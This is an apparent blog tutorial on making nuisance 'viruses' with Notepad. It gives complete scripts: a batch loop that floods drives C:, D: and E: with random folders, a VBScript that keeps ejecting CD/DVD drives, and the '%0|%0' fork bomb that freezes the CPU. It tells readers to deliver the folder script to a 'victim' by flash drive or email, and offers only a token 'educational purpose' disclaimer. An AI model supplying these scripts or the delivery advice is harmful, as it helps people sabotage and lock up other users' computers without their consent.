How to Create a Virus with Notepad

We all know what virus is and how it totally overrides your computer, some of the viruses are pretty easy to remove but some other are quite hard to delete them. Using an antivirus is great idea especially when you are using Internet or USB flash drives. You don't know how those viruses are really compiled and created, almost 90% of computer viruses are made by simple programming language like C#, Visual Basic, Java, vbs and Batch Scripting which we are going to use in this tutorial.

Create a Virus with Notepad

this is educational purpose try it at your own risk 
Create virus for infinity of folders CD, DVD, DVDR, Super Drive virus freeze CPU virus

  Make an Infinity of Folders

  1. Open Notepad

  2. Paste the following code.

 @echo off
:VIRUS
cd /d C:
md %RANDOM%
cd /d D:
md %RANDOM%
cd /d E:
md %RANDOM%
goto VIRUS
REM #######################
REM 999khit.blogspot.com

3. Now click File > Save as...  and save it as "folders.bat  

4. Give it to your victim by flash drive or email.

How to convert bat file to exe 

Lets create a continous eject disk virus(harmless)

How to Create Harmless Virus for CD, DVDR or Super Drive virus.

  1. Open Notepad

  2. Paste the following code.
 

  Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

3. Now click File > Save as...  and save it as "Super-Drive.vbs or anyname.vbs

Done! virus is created.
check it!
But note
How to stop it-

• Open task manager or use  ctrl+alt+del
• click on process tab
• select wscript.exe
• click on end process.

 Freezes CPU virus

  1. Open Notepad

  2. Paste the following code.

%0|%0

  3. Now click File > Save as...  and save it as "CPU.bat or any-name.bat 
Done!

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